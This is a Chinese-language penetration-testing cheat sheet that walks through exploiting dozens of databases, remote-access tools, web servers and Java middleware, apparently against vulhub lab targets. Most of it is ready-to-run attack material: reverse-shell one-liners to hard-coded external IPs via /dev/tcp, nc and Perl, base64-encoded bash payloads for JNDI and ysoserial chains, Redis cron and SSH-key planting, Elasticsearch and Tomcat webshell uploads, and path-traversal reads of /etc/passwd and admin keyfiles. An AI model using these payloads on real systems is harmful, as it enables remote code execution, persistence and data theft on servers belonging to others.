# 数据库安全

注意各种漏洞的产生都与其版本和其相关配置是否安全有关

# mysql 未授权访问

1
2
3
# CVE-2012-2122 利用 
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
# 通过此漏洞不断的访问 mysql,最终可以无需认证进入数据库,但 是这个是很早之前的漏洞了,基本上已经销声匿迹了。

# hadoop 未授权 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
target = 'http://123.58.236.76:31361/'
lhost = '47.94.236.117' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i > & /dev/tcp/%s/9999 0 > &1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

# redis 写定时 写公钥

  • redis 写 Webshell
1
2
3
4
5
6
# 利用条件:Web目录权限可读写,需得到Web路径:
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
  • 写定时任务反弹 shell:
1
2
3
4
5
# 利用条件:允许异地登录,安全模式protected-mode处于关闭状态
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename reverse_shell
save
  • 写入 Linux ssh-key 公钥
1
2
3
4
5
6
7
8
# 利用条件:允许异地登录,Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态,允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
ssh-keygen -t rsa
echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n" > /root/.ssh/key.txt
cat /root/.ssh/key.txt | redis-cli -h 118.31.57.214 -x set xxx
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
ssh -i /root/.ssh/id_rsa root@118.31.57.214
  • RCE 自动化利用脚本
1
2
# https://github.com/vulhub/redis-rogue-getshell
python redis-master.py -r 123.58.236.76 -p 11820 -L 47.94.236.117 -P 8888 -f RedisModulesSDK/exp.so -c "id"
  • 沙箱绕过 RCE CVE-2022-0543 :
1
2
3
4
# https://github.com/aodsec/CVE-2022-0543
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

# 此漏洞较新,当确认有 redis未授权时,用redis-cli连接进来,可以直接执行系统命令

# influxdb jwt 伪造身份

influxdb 是一款著名的时序数据库,其使用 jwt 作为鉴权方式。在用户开启 了认证,但未设置参数 shared-secret 的情况下,jwt 的认证密钥为空字符串,此 时攻击者可以伪造任意用户身份在 influxdb 中执行 SQL 语句。

漏洞复现地址: https://vulhub.org/#/environments/influxdb/unacc/

环境启动后,访问 http://your-ip:8086/debug/vars 即可查看一些服务信息,但此时执行 SQL 语句则会出现 401 错误:其中,admin 是一个已经存在的用户, exp 是一个时间戳,代表着这个 token 的过期时间,设置为一个未来的时间戳。借助 https://jwt.io/ 来生成 jwt token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 1676346267
}
# 将空密钥生成的jwt代入到数据包中进行发送:
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc2MzQ2MjY3fQ.NPhb55F0tpsp5X5vcN_IkAAGDfNzV5BA6M4AThhxz6A
db=sample&q=show+users

# 可以尝试查询一些敏感数据,后期是否能得到更高的系统权限需要看这个是否支持,否则的话就是只能读取数据。

# h2 database jndi 注入

H2 database 是一款 Java 内存数据库,多用于单元测试。H2 database 自带一个 Web 管理页面,在 Spirng 开发中,如果我们设置如下选项,即可允许外部用户访问 Web 管理页面,且没有鉴权。

1
2
3
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
# 利用这个页面,我们可以进行 JNDI 注入攻击,进而在目标环境下执行任意命令。

漏洞链接: https://github.com/vulhub/vulhub/blob/master/h2database/h2-console-unacc/README.zh-cn.md

启动后,访问 http://your-ip:8080/h2-console / 即可查看到 H2 database 的管理 页面。可以借助这个小工具 https://github.com/JosephTribbianni/JNDI 简化我们的复现过程。

首先设置 JNDI 工具中执行的命令为 touch /tmp/success, 然后启动 JNDI-1.0-all.jar,在 h2 console 页面填入 JNDI 类名和 URL 地址:其中,javax.naming. InitialContext 是 JNDI 的工厂类,URL rmi://evil:23456/BypassByEL 是运行 JNDI 工具监听的 RMI 地址。点击连接后,恶意 RMI 成功接收到请求:touch /tmp/success 已成功执行。

# Couchdb 纵向权限

Apache CouchDB,使用语言用于一个性并成为 “一个完全方便 web 的数据 库”。它是一个使用 JSON 作为存储格式,JavaScript 查询,MapReduce 和 HTTPBBC 作为 API 的 NoSQL 数据库。它应用很广泛,如用在其动态展示平台, Credit Suisse 用在其商品的市场框架,Meebo,用在其内部社交内容平台 (网络 和应用程序)。

在 2017 年 11 月 15 日,CVE-2017-12635 和 CVE-2017-12636,CVE-2017-12635 可能是由于 Erlang 和 JavaScript 对 JSON 解析方式的不同,导致 语句执行产生差异性导致的。让任意权限管理员,属于不同权限的用户创建权限。影响版本: < 1.7.0 以及 < 2.1.1

漏洞链接: https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12635/README.zh-cn.md

1
2
3
4
5
6
7
8
9
10
# 发送包含两个约束的数据包:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
# 成功创建管理员,密码密码vulhub,再次访问http://your-ip:5984/_utils/,输入账户密码vulhub,可以成功登录。

Couchdb 任意命令执行漏洞的复现地址(直接用脚本完成就可以):https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.zh-cn.md

# es 写 webshell

ElasticSearch 具有备份数据的功能,用户可以传入一个路径,让其将数据备 份到该路径下,且文件名和后缀都可控。所以,如果同文件系统下还跑着其他
服务,如 Tomcat、PHP 等,可以利用 ElasticSearch 的备份功能写入一个 webshell。

漏洞链接: https://vulhub.org/#/environments/elasticsearch/WooYun-2015-110216/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 首先创建一个恶意索引文档:
curl -X POST [http://127.0.0.1:9200/yz.jsp/yz.jsp/1](http://127.0.0.1:9200/yz.jsp/yz.jsp/1) -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.get Parameter(new String(new byte[]{102})).getBytes());%>":"test"}
'

# 再创建一个恶意的存储库,其中location的值即为我要写入的路径。
curl -X PUT 'http://127.0.0.1:9200/_snapshot/yz.jsp' -d '{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot/",
"compress": false
}
}'

# 存储库验证并创建:
curl -X PUT "http://127.0.0.1:9200/_snapshot/yz.jsp/yz.jsp" -d '{
"indices": "yz.jsp",
"ignore_unavailable": "true",
"include_global_state": false
}'

# 访问http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp,这就是我们写入的webshell。该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串,如:http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success,我们再访问/wwwroot/test.jsp就能看到success了。

其他 elasticSearch 漏洞:https://vulhub.org/#/environments/elasticsearch

# 应用协议

# ftp 匿名登录

  • FTP 的匿名登录一般有三种

用户名:anonymous 密码:Email 或者为空

用户名:FTP 密码:FTP 或者为空

用户名:USER 密码:pass

++ 此外 ftp 还可以用 hydra 进行爆破,知道账户 / 密码时候爆破效率更好

  • Proftpd 协议漏洞

漏洞链接:https://github.com/t0kx/exploit-CVE-2015-3306

1
2
3
python exploit.py --host 123.58.236.76 --port 24967 --path "/var/www/html/"
# http://123.58.236.76:19758/backdoor.php?cmd=id
# 遇到这些漏洞时需要自行寻找对应版本的进行漏洞验证

# rsync 未授权 RCE

rsync 是 Linux 下一款数据备份工具,支持通过 rsync 协议、ssh 协议进行远程文件传输。其中 rsync 协议默认监听 873 端口,如果目标开启了 rsync 服务,并且没有配置 ACL 或访问密码,我们将可以读写目标服务器文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 判断
rsync rsync://123.58.236.76:45854/

# 读取文件
rsync rsync://123.58.236.76:45854/src/

# 下载文件
rsync rsync://123.58.236.76:45854/src/etc/passwd ./

# 上传文件
rsync -av passwd rsync://123.58.236.76:45854/src/tmp/passwd

# 获取信息
rsync rsync://123.58.236.76:12177/src/etc/crontab /root/cron.txt

# 写入反弹shell的代码
echo -e "#! /bin/bash\nbash -c 'bash -i >& /dev/tcp/192.168.31.83/4444 0>&1'" > /tmp/shell.sh ; chmod +x shell

# 上传文件
rsync -av shell rsync://123.58.236.76:12177/src/etc/cron.hourly

# 监听端口等待接受反弹
nc -lvvp 4444

msf 和 fofaviewer 批量测试

1
2
3
4
5
6
# fofa_viewer: https://github.com/wgpsec/fofa_viewer
msfconsole
use auxiliary/scanner/rsync/modules_list
set rhosts file:/root/ips.txt
set threads 10
run

# ssh 枚举 libssh 认证绕过

(1)SSH 协议漏洞:

CVE-2014-0160 版本很少,都被修复了;CVE_2020_15778 价值不高。

OpenSSH 8.3p1 及之前版本中的 scp 的 scp.c 文件存在操作系统命令注入漏洞。该漏洞即使在禁用 ssh 登录的情况下,但是允许使用 scp 传文件,而且远程服务器允许使用反引号 (`),可利用 scp 复制文件到远程服务器时,执行带有 payload 的 scp 命令,从而在后续利用中 getshell。需要漏洞版本 <= openssh-8.3p1,作用是通过 scp 来连接已知用户名密码的系统。

CVE-2018-15473 - 用户名枚举

1
2
3
4
5
# https://github.com/Rhynorater/CVE-2018-15473-Exploit

pip3 install -r requirements.txt
pip3 install paramiko==2.4.1
python sshUsernameEnum.py --port 32013 --userList exampleInput.txt 123.58.236.76 作用是通过字典来判断对方 ssh 有没有与这个字典里匹配的用户名。

(2)libssh 服务端权限认证绕过漏洞 (CVE-2018-10933)
libssh 是一个提供 ssh 相关接口的开源库,包含服务端、客户端等。其服务 端代码中存在一处逻辑错误,攻击者可以在认证成功前发送 MSG_USERAUTH _SUCCESS 消息,绕过认证过程,未授权访问目标 SSH 服务器。

环境启动后,我们可以连接 your-ip:2222 端口 (账号密码: myuser:mypassword),这是一个合法的 ssh 流程。参考 https://www.seebug.org/
vuldb/ssvid-97614 中给出的 POC,使用 python3 执行,即可在目标服务器上 RCE。

漏洞链接:https://github.com/vulhub/vulhub/blob/master/libssh/CVE-2018-10933/README.zh-cn.md

# 向日葵 RCE、vnc 口令

(1)向日葵 RCE:

1
2
3
4
5
# https://github.com/Mr-xn/sunlogin_rce
xrkRce.exe -h 192.168.46.157 -t scan
xrkRce.exe -h 192.168.46.157 -t rce -p 49712 -c "ipconfig"

# 扫描到端口后,针对特定版本进行命令执行操作,可直接反弹shell;可利用nc或者powershell或者其他目标上存在的程序进行反弹shell

(2)VNC 口令问题:

可能未设置密码导致的未授权访问,也可以通过 msf 猜解密码爆破 vnc

# teamviewer xss 攻击

通过网页调用除了命令执行,可以执行任意命令,配合 XSS 或者钓鱼使用,当发现对方是特定版本的 teamviewer 时,诱使对方访问构造好的 url 链接。

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html >
<html>
<head>
<title> cve-2020-13699 </title>
</head>
<body>
<p> Welcome to xiaodi! </p>
<iframe style="height:1px;width:1px;" src='teamviewer10: --play \\attacker-IP\share\fake.tvs' ></iframe>
</body>
</html>

# zabbix 未授权 rce

Zabbix 是由 Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。是一款服务器监控软件,其由 server、agent、web 等模块组 成,其中 web 模块由 PHP 编写,用来显示数据库中的结果。默认端口:10051。

漏洞复现 fofa 关键字:app=“ZABBIX - 监控系统” && body=“saml”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 攻击脚本:https://github.com/L0ading-x/cve-2022-23131 
python3 cve-2022-23131.py http://127.0.0.1 Admin

# 将生成的 zbx_signed_session 替换到当前目标的 cookie 中,点击登陆页面的 sign in with Single Sign-On (SAML)方式登陆,即可直接进入管理界面!

# 手动复现:
# 捕获的原来的cookie的值如下
zbx_session=eyJzZXNzaW9uaWQiOiJlNWNjNjc2ZWUzNDRlNGU4ZWIzNxxxxsIxxxxxxxx xMa1lYYXBucWp0RXpMdTFmTVJPcTArOGtxbkFLemdIMTdxUlY1VnErSkpKUGVaZHE3 WG02aGtQd1wvWUxycDgrYXgzbEQ4RjF6ajlRVENHelE9PSJ9

# 进行base 64 解码后的结果为
{"sessionid":"e5cc676ee3xxe8eb3790b521","sign":"9Fv7yJLkYXapnqjtEzLu1fMROq0+8kqnAKzgH17qRV5Vxxx7Xm6hkPw\/YLrp8+ax3lD8F1zj9QTCGzQ=="}

# 添加Admin用户到cookie中
{"saml_data":{"username_attribute":"Admin"},{"sessionid":"e5cc6xxxx4e4e8eb3790b521","sign":"9Fv7yJLkYXapnqjtEzLu1fMRxxxZdq7Xm6hkPw\/YLrp8+ax3lD8F1zj9QTCGzQ=="}

# 再次编码后伪造cookie发送
eyJzYW1sX2RhdGEiOnsidxxxxjoiQWRtaW4ifSx7InNlc3Npb25pZCI6ImU1Y2M2NzZlZTM 0MDQ4NDM2NGU0ZThlYjM3OTBiNTIxIiwic2lnbiI6IjlGdjd5SkxrWVhhcG5xanRFekx1M WZNUk9xMCs4a3FuQUt6Z0gxN3FSVjVWcStKSkpQZVpkcTdYbTZoa1B3XC9ZTHJwOCt heDNsRDhGMXpqOVFUQ0d6UT09In0=

# zabbix可以写入一些script脚本并且执行此脚本的操作的,从后台的未授权直接突破到服务器的权限,再根据服务器的漏洞进行提权

# Kibana 任意代码执行

Kibana 为 Elassticsearch 设计的一款开源的视图工具。其 5.6.15 和 6.6.1 之前 的版本中存在一处原型链污染漏洞,利用漏洞可以在目标服务器上执行任意代码。默认端口:5601

攻击脚本:https://github.com/LandGrey/CVE-2019-7609
复现链接:https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2019-7609/README.zh-cn.md

1
2
3
4
5
6
# 原型链污染发生在“Timeline”页面,我们填入如下 Payload:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

# 成功后再访问“Canvas”页面触发命令/bin/touch /tmp/success,文件成功创建
# 可以配合py脚本和Fofaviewer批量搜索目标测试漏洞:

# 中间件安全

# nginx 文件解析

配置文件错误导致解析漏洞,对于任意文件名,在后面添加 /xxx.php (xxx 为任意字符) 后,即可将文件作为 php 解析。如 info.jpg 后面加上 /xxx.php,会将 info.jpg 以 php 解析。

复现链接:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/

CVE-2013-4547:https://vulhub.org/#/environments/nginx/CVE-2013-4547/
CVE-2013-4547 文件名逻辑漏洞,影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7。抓包,修改为 info.jpg…php, 在 Hex 选修卡中将 jpg 后面的两个点 2e 改成
20,00。寻找上传点,并且确定版本合适可测试该漏洞。

CVE_2021_23017 无 EXP,没有可以直接拿权限的代码

CVE_2017_7529 信息泄漏意义不大

# apache 文件解析 rce

(1)CVE-2021-41773

Apache HTTP Server 目录遍历漏洞 CVE-2021-41773,影响版本:Apache HTTP Server 2.4.49,该漏洞是由于 Apache HTTP Server 2.4.49 版本存在目录穿 越漏洞,攻击者利用该漏洞在未授权的情况下,访问服务器未在 httpd 配置文件中标记为拒绝请求的文件内容,进而导致敏感信息泄露。

漏洞链接:https://www.freebuf.com/articles/web/293172.html

1
2
3
4
5
6
7
# 访问并下载
curl -s --path-as-is "http://ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo;whoami' "http://ip:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh"
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo;perl -e 'use

# 此为perl语言生成的反弹shell命令,可通过棱角社区直接生成
Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

(2)CVE-2021-42013

Apache HTTP Server 目录遍历漏洞 CVE-2021-42013 影响版本:Apache HTTP

Server 2.4.50 & Apache HTTP Server 2.4.49,该漏洞是由于在 Apache HTTP Server 2.4.50 版本中对 CVE-2021-41773 修复不够完善,攻击者可利用该漏洞绕过修复 补丁,并利用目录穿越攻击访问服务器中一些文件,进而造成敏感信息泄露。 若 httpd 中开启 CGI 功能,攻击者可以构造恶意请求,造成远程代码执行。

参考地址:# https://blog.csdn.net/weixin_47306547/article/details/122291562

1
2
3
4
5
# 工具地址:https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013
curl -v --path-as-is [http://IP:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%6](http://IP:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%6)5/.%%32%65/.%%32%65/.%%32%65/etc/passwd
curl -v --data "echo;id" 'http://IP:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

# CVE-2021-41773 cve-2021-42013 的主要区别把 /%2e/换成了/.%%32%65/从而绕过了Apache HTTP Server 2.4.50 的补丁

(3)CVE-2017-15715

apache CVE-2017-15715 文件解析:Apache HTTPD 是一款 HTTP 服务器。 其 2.4.0~2.4.29 版本存在一个解析漏洞,在解析 PHP 时,1.php\x0A 将被按照
PHP 后缀进行解析,导致绕过一些服务器的安全策略。

漏洞链接: https://vulhub.org/#/environments/httpd/CVE-2017-15715/

在 1.php 后面插入一个 \x0A (注意,不能是 \x0D\x0A,只能是一个 \x0A),不再拦截访问刚才上传的 / 1.php%0a,发现能够成功解析,但这个文件不是 php 后缀,说明目标存
在解析漏洞

(4)其他 cve

此外还有 cve_2017_9798 价值不高、cve_2018_11759 价值不高等与权限无关的漏洞、cve_2021_37580 插件问题。有的 apache 和其他组件配合使用,是存在一些漏洞的,甚至可以命令执行,但是需要看当前配合的组件时哪些。

# tomcat 弱口令 上传 包含

(1)弱口令猜解

配置不当导致后台弱口令,可通过上传 jsp 压缩包改名的 war 拿 shell;tomcat 的 manager 页面存在弱口令,可用 msf 尝试爆破

1
2
3
4
5
6
7
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.31.109
使用 msf 生成一个反弹 shell 的 war 文件木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST= 192.168.31.135 LPORT= 4444 -f war -o revshell.war
# 或者可以利用哥斯拉生成jsp的java木马,在压缩成zip最后改名为war后缀
# https://github.com/BeichenDream/Godzilla
# 上传到tomcat后台并且访问上传的内容即可

(2)PUT 方法任意写文件漏洞

Tomcat 版本 8.5.19 存在 PUT 方法任意写文件漏洞(CVE-2017-12615 )。准备好木马文件 ice.jsp,利用 curl 命令用 PUT 方法往 1 .jsp/ 发送恶意木马文件,可得到 webshell。

漏洞链接: https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017 -12615/README.zh-cn.md

curl -v http://110.42.178.227:8080/1.jsp/ -X PUT -d @ice.jsp

或者通过 burp 改数据包,修改方法为 PUT,访问地址为 1.jsp/,并上传木马

(3)文件包含漏洞

Aapache Tomcat AJP 文件包含漏洞 (CVE-2020-1938) 由于 Tomcat AJP 协 议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。 此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远 程代码执行的危害。

1
2
3
4
5
6
7
# 下载利用代码 (Tomcat 9.0.30)
wget https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/archive/refs/heads/master.zip
unzip master.zip
cd CNVD-2020-10487-Tomcat-Ajp-lfi-master

# 直接用脚本读取敏感文件
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f WEB-INF/web.xml 110.42.178.227

# weblogic 加载 ldap

探针默认端口:7001,Weblogic 是 Oracle 公司推出的 J2EE 应用服务器。 cve_2017_3506 工具、cve_2018_2893 工具、cve_2018_3245 工具、cve_2020_1
4882 工具、cve_2021_2394 反序列化。
安全圈小王子工具 (GUI_Tools V1.1) 一把梭

  • CVE-2021-2394

攻击者可以在未授权的情况下通过 IIOP、T3 协议对存在漏洞的 WebLogic Server 组件进行攻击,成功利用该漏洞的攻击者可以接管 WebLogic Server。 这是一个二次反序列化漏洞,是 CVE-2020-14756 和 CVE-2020-14825 的调用链相 结合组成一条新的调用链来绕过 weblogic 黑名单列表。

漏洞链接:https://blog.csdn.net/m0_51330619/article/details/120254124

1
2
3
4
5
6
7
8
9
10
# 在一台公网服务器上依次执行以下命令,生成ldap并监听端口
wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

# 注意反弹shell的代码需要进行编码
echo "bash -i >& /dev/tcp/1.117.52.219/4444 0>&1" | base64
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNy41Mi4yMTkvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}" -A 1.117.52.219

# 利用CVE_2021_2394攻击目标weblogic并加载远程ldap
wget https://github.com/lz2y/CVE-2021-2394/releases/download/2.0/CVE_2021_2394_jar.zip
java -jar CVE_2021_2394.jar 110.42.178.227 7001 ldap://1.117.52.219:1389/4ikzlu

# jboss 弱口令 反序列化

  • CVE-2017-12149

Jboss 通常占用的端口是 1098,1099,4444,4445,8080,8009,8083, 8093,Red Hat JBoss Application Server 是一款基于 JavaEE 的开源应用服务器。
在一些 jboss 管理平台上,存在弱口令,可以尝试猜解密码或未授权。

漏洞链接: https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149

1
2
3
4
5
# 我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码。
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDIuMTc4LjIyNy8zNDUxMiAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

# 生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly
curl http://110.42.178.227:8080/invoker/readonly --data-binary @poc.ser
  • CVE-2017-7504

漏洞复现过程与上差不多,唯一区别在于数据发送地址

curl http://47.94.236.117:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser

# Jenkins 相关漏洞

探针默认端口: 8080 ,Jenkins 是一个开源软件项目,是基于 Java 开发的一种持续集成工具,用于监控持续重复的工作。

(1)cve_2017_1000353

1
2
3
4
5
6
# 利用条件未知,即便是JDK-1.8.0_291 版本也失效了
wget https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDIuMTc4LjIyNy8zNDUxMiAwPiYx}|{base64,-d}|{bash,-i}"

wget https://github.com/vulhub/CVE-2017-1000353/archive/refs/heads/master.zip
python exploit.py http://110.42.178.227:8080 jenkins_poc.ser

(2)CVE-2018-1000861

漏洞链接:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

1
2
3
4
5
6
7
8
9
10
cat > /tmp/1.txt << EOF
#!/bin/bash
bash -i >& /dev/tcp/1.117.52.219/4444 0>&1
EOF

python3 -m http.server 1389

# 利用脚本poc在vulhub靶场自带的启动环境中就有
python2 poc.py http://110.42.178.227:8080/ "curl -o /tmp/1.sh http://1.117.52.219: 1389 / 1 .txt"
python2 poc.py http://110.42.178.227:8080/ "bash /tmp/1.sh"

(3)CVE_2019_100300

漏洞链接: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

需要用户帐号密码,可以进行用户名枚举与爆破的方法测试

# glassfish 弱口令 信息泄露

探针默认端口:4848,GlassFish 是一款强健的商业兼容应用服务器

CVE-2017-1000028: 可以获取到后台密码以及主机上的文件内容

1
2
3
4
5
6
7
8
# 读密码
/theme/METAINF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/domain1/config/admin-keyfile

# 读windows文件
/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c 0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

# 读linux文件
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%a e%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c 0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

# docker 逃逸

Docker 容器是使用沙盒机制,是单独的系统,理论上是很安全的,通过利 用某种手段,再结合执行 POC 或 EXP,就可以返回一个宿主机的高权限 Shell, 并拿到宿主机的 root 权限。它从容器中逃了出来,因此我们形象的称为 Docker 逃逸漏洞。

判断当前是在 docker 还是在宿主机上:

1
2
3
4
5
#  如果是在docker内部会有信息返回,否则提示没有此文件夹及文件
ls -alh /.dockerenv

# 在docker内部显示的内容比较多,否则显示的内容比较少
cat /proc/1/cgroup

docker daemon api 未授权访问漏洞:

漏洞链接:https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.zh-cn.md

利用方法是,我们随意启动一个容器, 并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入 crontab 配置文件,进行反弹 shell。2375 端口开放,并且未授权。

1
2
3
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

# websphere 反序列化

WebSphere® Application Server 加速交付新应用程序和服务,它可以通过快 速交付创新的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰富 的编程模型中进行选择,更好地协调项目需求与编程模型功能和开发人员技能。

端口:9080—web (http) 应用访问端口、9443—web (https) 应用访问端口、 9060— 管理后台访问端口、9043— 管理控制台安全端口、8880—SOAP 连接器 端口等等。漏洞探测在 8880 端口,后台是 9060 端口,解析是 9080 端口。

  • CVE-2015-7450

后台弱口令上传 webshell,在 6.x 至 7.0 版本,后台登陆只需要输入 admin 作为用户标 识,无需密码,即可登陆后台。其他版本可以尝试 websphere 的默认密码。后台存在文 件上传点,同 tomcat 一样,可用哥斯拉导出 jsp 后门压缩为 zip 后改为 war,再后台上传 并运行。设定目录之后直接解析为 jsp 文件,连接到 webshell。

1
2
3
docker pull iscrosales/websphere7
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
CVE-2015-7450 反序列化 可命令执行直接用exp执行命令
  • CVE-2020-4450 无利用 POC/EXP

# jetty 文件读取

Elipse Jetty 是一个开源的 servlet 容器,它为基于 Java 的 Web 容器提供运行 环境。此中间件存在文件读取漏洞,但是读取的信息用处不大。

CVE-2021-28164 http://123.58.236.76:63126/./WEB-INF/web.xml

CVE-2021-28169 http://123.58.236.76:63126/static?/WEB-INF/web.xml

CVE-2021-34429 http://123.58.236.76:63126/%u002e/WEB-INF/web.xml

# 框架安全

根据插件及数据包中识别框架,但是不一定准确,多识别几次确定。

# Thinkphp Laravel

当确定是 php 框架,直接用集成化工具一把梭。就是一个收集信息,确定 此版本下的漏洞,寻找工具直接利用的一个过程。可以用 GUI_tools 测试。

Laravel <= 8.4.2 存在 CVE-2021-3129 RCE

Thinkphp-3.X RCE-5.X RCE 存在 RCE 框架的漏洞是固定的,没有就是没有,自己去挖也不太现实,只能把注意力放在其他的财产目标上;其他的也没漏洞那就只能去社工、钓鱼从管理方面 下手了。

# Spring Struts2

在 java 代码漏洞利用中,需要注意要使用 base64 编码来反弹 shell。原因是 由于 Runtime.getRuntime ().exec () 中不能使用管道符等 bash 需要的方法,故需要 用进行一次编码。

(1)St2 漏洞

2020 前漏洞,当识别到一个 url 地址后缀是 action 结尾,就可以尝试用 St2 的集成化工具测试直接 getshell; 后面的版本修复了此漏洞,但有 s2-062 存在 cve_2020_17530、cve_2021_31805,可以直接利用脚本 https://github.com/YanMu 2020/s2-062 实现 RCE。关于原理与手工复现还是有一定难度的,应该是尽快确 定此框架存在漏洞直接利用。

(2)Spring 漏洞

参考链接:https://vulhub.org/#/environments/spring/。

cve_2017_4971-Spring Web Flow-https://paper.seebug.org/322 / 大致是通过 Spring 在 17 年的默认页面进行操作从而 RCE

cve_2018_1273-Spring DataCommons - https://vulhub.org/#/environments/spring/CVE-2018-1273/

1
2
3
4
5
6
7
8
# 攻击者可以注入恶意 SpEL表达式以执行任意命令,在用户注册界面抓包修改数据,注意不好判断是否RCE,需要dnslog测试/代码全部编码/反弹shell命令编码都进行测试。
